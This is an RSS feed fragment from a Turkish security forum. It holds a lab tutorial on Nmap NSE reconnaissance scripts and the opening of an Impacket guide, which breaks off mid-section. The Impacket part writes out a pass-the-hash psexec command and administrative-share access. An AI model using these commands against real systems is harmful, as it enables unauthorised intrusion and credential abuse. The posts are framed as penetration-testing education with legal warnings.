			<link>https://www.turkteam.org/konu-nmap-nse-scriptleri-http-enum-smb-os-discovery-ve-kendi-lab-notlarim.html</link>
			<pubDate>Sun, 18 Oct 2026 11:19:18 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-nmap-nse-scriptleri-http-enum-smb-os-discovery-ve-kendi-lab-notlarim.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=155" loading="lazy"  alt="[Resim: attachment.php?aid=155]" class="mycode_img" /></div>
<br />
Arkadaşlar selam,<br />
<br />
nmap'i herkes port taramak için kullanıyor ama asıl gücü NSE (Nmap Scripting Engine) tarafında. Bu yazıda lab ortamında en sık kullandığım birkaç scripti, nasıl seçildiğini ve çıktıyı nasıl okuduğumu anlatacağım. Hedef: kendi Metasploitable2 / DVWA labım. Başkasının sisteminde izinsiz script çalıştırmayın; bazı scriptler agresif trafik üretir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">NSE'ye hızlı bakış</span></span><br />
Scriptler kategorilere ayrılır: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln. <span style="font-weight: bold;" class="mycode_b">safe</span> ve <span style="font-weight: bold;" class="mycode_b">default</span> günlük keşif için; <span style="font-weight: bold;" class="mycode_b">intrusive</span> / <span style="font-weight: bold;" class="mycode_b">brute</span> / <span style="font-weight: bold;" class="mycode_b">exploit</span> yalnızca yazılı izinli pentest kapsamında.<br />
<br />
Kurulu scriptleri görmek:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ls /usr/share/nmap/scripts | head
nmap --script-help http-enum</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">http-enum: web dizin ve dosya keşfi</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 80,443 --script http-enum 10.10.10.50</code></div></div>Bu script bilinen yolları (admin panelleri, yedek dosyalar, .git kalıntıları vb.) dener. Gobuster/ffuf kadar kapsamlı wordlist kullanmaz; hızlı sinyal için iyidir. Lab çıktısı kabaca şöyle görünür:<br />
<br />
<br />
<br />
Dikkat: http-enum varsayılan olarak bazı yolları dener; WAF veya rate-limit varsa gürültü çıkar. Pentest raporunda "discovery" bulgusu olarak not düşmek için yeterlidir; derin fuzzing için ffuf'a geçin.<br />
<br />
Daha kontrollü kullanım:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 80 --script http-enum --script-args http-enum.displayall 10.10.10.50</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">smb-os-discovery: SMB üzerinden OS ve alan bilgisi</span></span><br />
Windows / Samba hedeflerinde:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 445 --script smb-os-discovery 10.10.10.20</code></div></div>Çıktıda işletim sistemi, bilgisayar adı, çalışma grubu / domain, bazen forest bilgisi gelir. Bu bilgi later hareket planını etkiler: domain üyesi bir makine ile iş grubu makinesi aynı değildir.<br />
<br />
SMB imza zorunluluğunu da kontrol etmek isterseniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 445 --script smb2-security-mode 10.10.10.20</code></div></div>"Message signing enabled but not required" satırı mavi takım için düzeltilmesi gereken bir bulgudur.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Birkaç scripti birlikte çalıştırmak</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -sV -p 80,443,445 --script "default and safe" 10.10.10.0/28</code></div></div><span style="font-weight: bold;" class="mycode_b">and safe</span> ifadesi default kategorisinden yalnızca güvenli olanları seçer. Büyük alt ağlarda önce host discovery, sonra dar port listesi, en son script sırasını tercih ederim; aksi halde tarama saatler sürer ve logları kirletirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">vuln kategorisi: dikkatli kullanın</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 443 --script vuln 10.10.10.50</code></div></div>Bu komut bilinen zafiyet imzalarını dener. Yanlış pozitif oranı yüksektir; her kırmızı satırı "kırıldı" sanmayın. Bulguyu manuel doğrulayın, CVE numarasını NVD'den kontrol edin, sürüm bilgisini <span style="font-weight: bold;" class="mycode_b">-sV</span> ile çaprazlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Çıktıyı saklamak</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -oA lab-scan-20261017 -sV -p 80,445 --script http-enum,smb-os-discovery 10.10.10.50</code></div></div><span style="font-weight: bold;" class="mycode_b">-oA</span> üç format üretir: .nmap (metin), .xml, .gnmap. XML'i daha sonra searchsploit veya kendi betiklerinizle işleyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Performans ve nezaket</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">-T3</span> varsayılan; labda <span style="font-weight: bold;" class="mycode_b">-T4</span> kabul edilebilir, internette müşteri ağında <span style="font-weight: bold;" class="mycode_b">-T2</span> daha naziktir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">--max-rate</span> ile saniyedeki paket sayısını sınırlayın.<br />
</li>
<li>IDS/IPS olan ortamlarda script taraması alarm üretir; kapsam belgesinde belirtin.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kendi not defterimden kısa komutlar</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># SSL/TLS sertifika özeti
nmap -p 443 --script ssl-cert,ssl-enum-ciphers 10.10.10.50
# Redis bilerek açık mı (lab)
nmap -p 6379 --script redis-info 10.10.10.50
# HTTP başlıkları
nmap -p 80 --script http-headers,http-security-headers 10.10.10.50</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sık yaptığım hatalar</span></span><br />
<ol type="1" class="mycode_list"><li>Tüm script kategorilerini körlemesine çalıştırmak (dos/brute dahil) — labı bozar, yasal kapsamı aşabilir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">-Pn</span> ile her IP'ye script yağdırmak — firewall ICMP kesiyorsa host discovery'yi ayrı düşünün, ama kör tarama maliyeti yüksektir.<br />
</li>
<li>Çıktıyı kaydetmemek — iki gün sonra "o SMB ne demişti?" diye ararsınız.<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li>Nmap Network Scanning (kitap) ve resmi NSE dokümantasyonu: nmap.org/nsedoc<br />
</li>
<li>Script yardım: nmap --script-help &lt;ad&gt;<br />
</li>
</ul>
<br />
Sizin favori NSE scriptiniz hangisi? Özellikle AD keşfinde kullandığınız bir kombinasyon varsa yazın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Script argümanları ve sürüm</span></span><br />
Birçok NSE scripti --script-args ile ince ayar alır. http-enum için displayall, smb-os-discovery için ekstra kimlik bilgisi (izinli pentestte) gibi. Script sürümü nmap sürümüyle gelir; Kali rolling'de nmap güncellemesi script davranışını değiştirebilir. Raporunuza nmap --version yazın ki tekrarlanabilir olsun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Çıktıyı ekibe taşımak</span></span><br />
XML'i xsltproc veya kendi Python parser'ınızla Markdown özetine çevirmek, müşteri raporuna ham nmap dump yapıştırmaktan iyidir. gnmap satırları grep ile "open" port listesini hızlı çıkarır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>grep '/open/' lab-scan.gnmap</code></div></div><br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Doğrulama senaryosu</span></span><br />
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab disiplini</span></span><br />
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Runbook'a taşımak</span></span><br />
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ölçüm ve alarm sağlığı</span></span><br />
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kapsam ve izin hatırlatması</span></span><br />
Bu adımları change ticket olmadan production'da uygulamayın. Küçük görünen bir audit ayarı bile uygulama uyumluluğunu bozabilir. Önce staging, sonra kontrollü yayılım.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yedekleme ve geri dönüş</span></span><br />
Yılda en az iki kez masabaşı tatbikatı yapın: 'bu kontrol kırılırsa kim fark eder?' sorusunu sorunsuz cevaplayabilmelisiniz. Tatbikat notlarını wiki'ye ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Log saklama süresi</span></span><br />
Araç çıktısını ekran görüntüsü olarak bırakmak yerine makinece okunur formatta (JSON/CSV) arşivleyin. İki yıl sonraki denetimde arama kolaylaşır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yanlış pozitif yönetimi</span></span><br />
Yetki ayrımı: bu kontrolü yapılandıran kişi ile alarmı triaj eden kişi mümkünse farklı olsun. Küçük ekiplerde olmasa bile en azından farklı hesap kullanın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Uygulama notu</span></span><br />
Bu rehberdeki komutları olduğu gibi kopyalamadan önce yolları, arayüz adlarını ve IP adreslerini kendi ortamınıza göre değiştirin. Dağıtım farkları (Debian/Ubuntu/RHEL/Windows sunucu) çıktı biçimini değiştirebilir; man sayfası ve resmi dokümantasyon birincil kaynaktır. Bir adım beklediğiniz sonucu vermezse önce yetki (sudo/Administrator), sonra sürüm, en son da yapılandırma dosyası sırasıyla bakın. Değişiklikleri geri almak için snapshot veya yapılandırma yönetimi (Ansible/Git) kullanın; 'elle bir dokundum' geçmişi denetimde kaybolur. Alarm ve log örneklerini ekip kanalında paylaşırken kişisel veri ve iç IP şemasını maskeleyin.<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Anlatılanları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde uygulayın. Yetkisiz erişim ve sistemlere müdahale 5237 sayılı TCK'nın 243, 244 ve 245. maddeleri kapsamında suçtur.</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=155" target="_blank" title="">100-n03-506b9a.png</a> (Dosya Boyutu: 66.36 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=155" loading="lazy"  alt="[Resim: attachment.php?aid=155]" class="mycode_img" /></div>
<br />
Arkadaşlar selam,<br />
<br />
nmap'i herkes port taramak için kullanıyor ama asıl gücü NSE (Nmap Scripting Engine) tarafında. Bu yazıda lab ortamında en sık kullandığım birkaç scripti, nasıl seçildiğini ve çıktıyı nasıl okuduğumu anlatacağım. Hedef: kendi Metasploitable2 / DVWA labım. Başkasının sisteminde izinsiz script çalıştırmayın; bazı scriptler agresif trafik üretir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">NSE'ye hızlı bakış</span></span><br />
Scriptler kategorilere ayrılır: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln. <span style="font-weight: bold;" class="mycode_b">safe</span> ve <span style="font-weight: bold;" class="mycode_b">default</span> günlük keşif için; <span style="font-weight: bold;" class="mycode_b">intrusive</span> / <span style="font-weight: bold;" class="mycode_b">brute</span> / <span style="font-weight: bold;" class="mycode_b">exploit</span> yalnızca yazılı izinli pentest kapsamında.<br />
<br />
Kurulu scriptleri görmek:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ls /usr/share/nmap/scripts | head
nmap --script-help http-enum</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">http-enum: web dizin ve dosya keşfi</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 80,443 --script http-enum 10.10.10.50</code></div></div>Bu script bilinen yolları (admin panelleri, yedek dosyalar, .git kalıntıları vb.) dener. Gobuster/ffuf kadar kapsamlı wordlist kullanmaz; hızlı sinyal için iyidir. Lab çıktısı kabaca şöyle görünür:<br />
<br />
<br />
<br />
Dikkat: http-enum varsayılan olarak bazı yolları dener; WAF veya rate-limit varsa gürültü çıkar. Pentest raporunda "discovery" bulgusu olarak not düşmek için yeterlidir; derin fuzzing için ffuf'a geçin.<br />
<br />
Daha kontrollü kullanım:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 80 --script http-enum --script-args http-enum.displayall 10.10.10.50</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">smb-os-discovery: SMB üzerinden OS ve alan bilgisi</span></span><br />
Windows / Samba hedeflerinde:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 445 --script smb-os-discovery 10.10.10.20</code></div></div>Çıktıda işletim sistemi, bilgisayar adı, çalışma grubu / domain, bazen forest bilgisi gelir. Bu bilgi later hareket planını etkiler: domain üyesi bir makine ile iş grubu makinesi aynı değildir.<br />
<br />
SMB imza zorunluluğunu da kontrol etmek isterseniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 445 --script smb2-security-mode 10.10.10.20</code></div></div>"Message signing enabled but not required" satırı mavi takım için düzeltilmesi gereken bir bulgudur.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Birkaç scripti birlikte çalıştırmak</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -sV -p 80,443,445 --script "default and safe" 10.10.10.0/28</code></div></div><span style="font-weight: bold;" class="mycode_b">and safe</span> ifadesi default kategorisinden yalnızca güvenli olanları seçer. Büyük alt ağlarda önce host discovery, sonra dar port listesi, en son script sırasını tercih ederim; aksi halde tarama saatler sürer ve logları kirletirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">vuln kategorisi: dikkatli kullanın</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -p 443 --script vuln 10.10.10.50</code></div></div>Bu komut bilinen zafiyet imzalarını dener. Yanlış pozitif oranı yüksektir; her kırmızı satırı "kırıldı" sanmayın. Bulguyu manuel doğrulayın, CVE numarasını NVD'den kontrol edin, sürüm bilgisini <span style="font-weight: bold;" class="mycode_b">-sV</span> ile çaprazlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Çıktıyı saklamak</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nmap -oA lab-scan-20261017 -sV -p 80,445 --script http-enum,smb-os-discovery 10.10.10.50</code></div></div><span style="font-weight: bold;" class="mycode_b">-oA</span> üç format üretir: .nmap (metin), .xml, .gnmap. XML'i daha sonra searchsploit veya kendi betiklerinizle işleyebilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Performans ve nezaket</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">-T3</span> varsayılan; labda <span style="font-weight: bold;" class="mycode_b">-T4</span> kabul edilebilir, internette müşteri ağında <span style="font-weight: bold;" class="mycode_b">-T2</span> daha naziktir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">--max-rate</span> ile saniyedeki paket sayısını sınırlayın.<br />
</li>
<li>IDS/IPS olan ortamlarda script taraması alarm üretir; kapsam belgesinde belirtin.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kendi not defterimden kısa komutlar</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># SSL/TLS sertifika özeti
nmap -p 443 --script ssl-cert,ssl-enum-ciphers 10.10.10.50
# Redis bilerek açık mı (lab)
nmap -p 6379 --script redis-info 10.10.10.50
# HTTP başlıkları
nmap -p 80 --script http-headers,http-security-headers 10.10.10.50</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sık yaptığım hatalar</span></span><br />
<ol type="1" class="mycode_list"><li>Tüm script kategorilerini körlemesine çalıştırmak (dos/brute dahil) — labı bozar, yasal kapsamı aşabilir.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">-Pn</span> ile her IP'ye script yağdırmak — firewall ICMP kesiyorsa host discovery'yi ayrı düşünün, ama kör tarama maliyeti yüksektir.<br />
</li>
<li>Çıktıyı kaydetmemek — iki gün sonra "o SMB ne demişti?" diye ararsınız.<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li>Nmap Network Scanning (kitap) ve resmi NSE dokümantasyonu: nmap.org/nsedoc<br />
</li>
<li>Script yardım: nmap --script-help &lt;ad&gt;<br />
</li>
</ul>
<br />
Sizin favori NSE scriptiniz hangisi? Özellikle AD keşfinde kullandığınız bir kombinasyon varsa yazın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Script argümanları ve sürüm</span></span><br />
Birçok NSE scripti --script-args ile ince ayar alır. http-enum için displayall, smb-os-discovery için ekstra kimlik bilgisi (izinli pentestte) gibi. Script sürümü nmap sürümüyle gelir; Kali rolling'de nmap güncellemesi script davranışını değiştirebilir. Raporunuza nmap --version yazın ki tekrarlanabilir olsun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Çıktıyı ekibe taşımak</span></span><br />
XML'i xsltproc veya kendi Python parser'ınızla Markdown özetine çevirmek, müşteri raporuna ham nmap dump yapıştırmaktan iyidir. gnmap satırları grep ile "open" port listesini hızlı çıkarır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>grep '/open/' lab-scan.gnmap</code></div></div><br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Doğrulama senaryosu</span></span><br />
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab disiplini</span></span><br />
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Runbook'a taşımak</span></span><br />
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ölçüm ve alarm sağlığı</span></span><br />
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kapsam ve izin hatırlatması</span></span><br />
Bu adımları change ticket olmadan production'da uygulamayın. Küçük görünen bir audit ayarı bile uygulama uyumluluğunu bozabilir. Önce staging, sonra kontrollü yayılım.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yedekleme ve geri dönüş</span></span><br />
Yılda en az iki kez masabaşı tatbikatı yapın: 'bu kontrol kırılırsa kim fark eder?' sorusunu sorunsuz cevaplayabilmelisiniz. Tatbikat notlarını wiki'ye ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Log saklama süresi</span></span><br />
Araç çıktısını ekran görüntüsü olarak bırakmak yerine makinece okunur formatta (JSON/CSV) arşivleyin. İki yıl sonraki denetimde arama kolaylaşır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yanlış pozitif yönetimi</span></span><br />
Yetki ayrımı: bu kontrolü yapılandıran kişi ile alarmı triaj eden kişi mümkünse farklı olsun. Küçük ekiplerde olmasa bile en azından farklı hesap kullanın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Uygulama notu</span></span><br />
Bu rehberdeki komutları olduğu gibi kopyalamadan önce yolları, arayüz adlarını ve IP adreslerini kendi ortamınıza göre değiştirin. Dağıtım farkları (Debian/Ubuntu/RHEL/Windows sunucu) çıktı biçimini değiştirebilir; man sayfası ve resmi dokümantasyon birincil kaynaktır. Bir adım beklediğiniz sonucu vermezse önce yetki (sudo/Administrator), sonra sürüm, en son da yapılandırma dosyası sırasıyla bakın. Değişiklikleri geri almak için snapshot veya yapılandırma yönetimi (Ansible/Git) kullanın; 'elle bir dokundum' geçmişi denetimde kaybolur. Alarm ve log örneklerini ekip kanalında paylaşırken kişisel veri ve iç IP şemasını maskeleyin.<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Anlatılanları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde uygulayın. Yetkisiz erişim ve sistemlere müdahale 5237 sayılı TCK'nın 243, 244 ve 245. maddeleri kapsamında suçtur.</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=155" target="_blank" title="">100-n03-506b9a.png</a> (Dosya Boyutu: 66.36 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Impacket Araç Seti: secretsdump, psexec ve smbclient Kullanımı]]></title>
			<link>https://www.turkteam.org/konu-impacket-arac-seti-secretsdump-psexec-ve-smbclient-kullanimi.html</link>
			<pubDate>Sun, 18 Oct 2026 11:14:59 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-impacket-arac-seti-secretsdump-psexec-ve-smbclient-kullanimi.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Selam TurkTeam,</span><br />
<br />
Impacket, ağ protokolleriyle (SMB, MSRPC, NTLM, Kerberos ve daha fazlası) ham düzeyde çalışan Python sınıflarından oluşan bir kütüphanedir. Ama çoğu pentest'çi onu, bu sınıfların üzerine yazılmış hazır betikleriyle (secretsdump, psexec, smbclient, wmiexec...) tanır. Bu araçlar, özellikle Windows/Active Directory ortamlarında kimlik bilgisi toplama ve uzaktan komut çalıştırmanın İsviçre çakısıdır. Bu rehberde Impacket'i kurulumdan temel iş akışına, yalnızca kendi lab ortamınızda uygulamak üzere ele alıyoruz.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Impacket nedir, ne işe yarar<br />
</li>
<li>Kurulum ve Kali'deki betik isimleri<br />
</li>
<li>Kimlik doğrulama söz dizimi (parola ve pass-the-hash)<br />
</li>
<li>impacket-smbclient ile paylaşım erişimi<br />
</li>
<li>impacket-psexec / wmiexec ile uzaktan komut<br />
</li>
<li>impacket-secretsdump ile kimlik bilgisi dökümü<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. Impacket Nedir?</span></span><br />
Impacket (SecureAuth/Fortra tarafından sürdürülen açık kaynak proje), ağ protokollerini programatik olarak kullanmayı sağlayan bir Python kütüphanesidir. Pratikte onu güçlü kılan, bu kütüphaneyle yazılmış hazır örnek betiklerdir. Bu betikler bir Windows ağında kimlik doğrulama, dosya erişimi, uzaktan komut çalıştırma ve kimlik bilgisi (hash) çıkarma gibi işleri standartlaştırır. Mavi takım için de değerlidir: saldırganın hangi protokolleri nasıl kullandığını anlamak, tespit kuralı yazmanın temelidir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Kurulum</span></span><br />
Kali/Parrot üzerinde Impacket betikleri genellikle hazırdır veya tek paketle gelir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install impacket-scripts python3-impacket</code></div></div>Kali'de betikler <span style="font-weight: bold;" class="mycode_b">impacket-</span> önekiyle çağrılır (örn. impacket-secretsdump). Pip ile kurduğunuzda ise doğrudan secretsdump.py biçiminde olur. Kurulumu doğrulamak için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient -h | head
# veya pip kurulumunda
secretsdump.py -h | head</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Kimlik Doğrulama Söz Dizimi</span></span><br />
Impacket betiklerinin çoğu ortak bir hedef biçimi kullanır: <span style="font-weight: bold;" class="mycode_b">domain/kullanici:parola@hedef</span>. Çalışma grubu ortamında domain yerine makine/boş bırakılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Parola ile:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Parola sormasını istemek (komut geçmişine yazmamak için):</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient ornekdomain/ahmet@192.168.56.120</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Pass-the-hash (parola yerine NTLM hash):</span> -hashes LMHASH:NTHASH biçiminde verilir; LM yoksa boş bırakılıp yalnızca NT kullanılır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee... ornekdomain/ahmet@192.168.56.120</code></div></div>Bu, bir hash ele geçirildiğinde parolayı kırmaya gerek kalmadan kimlik doğrulamayı gösterir; neden hash korumasının kritik olduğunu anlatan iyi bir derstir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. impacket-smbclient ile Paylaşım Erişimi</span></span><br />
Impacket'in kendi SMB istemcisi, etkileşimli ve betiklenebilir bir arayüz sunar:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>impacket-smbclient ornekdomain/ahmet:'Parola123'@192.168.56.120</code></div></div>Bağlandıktan sonra komutlarla paylaşımları gezebilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># shares        -&gt; paylaşımları listele
# use C&#36;         -&gt; bir paylaşıma geç
# ls             -&gt; içeriği listele
# get gizli.txt  -&gt; dosya indir</code></div></div>Bu araç özellikle yönetici kimliğiyle C&#36; gibi idari paylaşımlara erişimi ve dosya aktarımını kolaylaştırır.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=150" loading="lazy"  alt="[Resim: attachment.php?aid=150]" class="mycode_img" /></div>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. impacket-psexec ve wmiexec ile Uzaktan Komut</span></span><br />
